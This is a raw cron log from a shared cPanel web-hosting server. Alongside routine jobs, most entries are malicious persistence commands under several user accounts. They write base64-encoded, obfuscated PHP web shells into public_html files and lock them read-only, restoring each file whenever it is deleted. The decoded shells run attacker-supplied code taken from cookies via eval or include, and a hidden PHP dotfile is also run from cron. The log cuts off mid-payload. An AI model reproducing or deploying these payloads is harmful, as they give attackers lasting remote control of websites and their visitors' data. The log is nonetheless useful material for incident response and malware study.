Mar  1 09:21:01 medusa CROND[15156]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:21:01 medusa CROND[15157]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:21:01 medusa CROND[15161]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:22:02 medusa CROND[5514]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:22:02 medusa CROND[5515]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 09:22:02 medusa CROND[5516]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:22:02 medusa CROND[5517]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:22:02 medusa CROND[5518]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:22:02 medusa CROND[5519]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 09:22:02 medusa CROND[5521]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 09:22:02 medusa CROND[5522]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:22:02 medusa CROND[5524]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:22:02 medusa CROND[5534]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:22:02 medusa CROND[5535]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:22:02 medusa CROND[5536]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:22:02 medusa CROND[5537]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:22:02 medusa CROND[5530]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:23:01 medusa CROND[27586]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 09:23:02 medusa CROND[27595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 09:23:02 medusa CROND[27597]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 09:23:02 medusa CROND[27598]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 09:23:02 medusa CROND[27596]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 09:23:02 medusa CROND[27599]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:23:02 medusa CROND[27600]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 09:23:02 medusa CROND[27601]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 09:23:02 medusa CROND[27602]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 09:23:02 medusa CROND[27603]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 09:23:02 medusa CROND[27604]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50K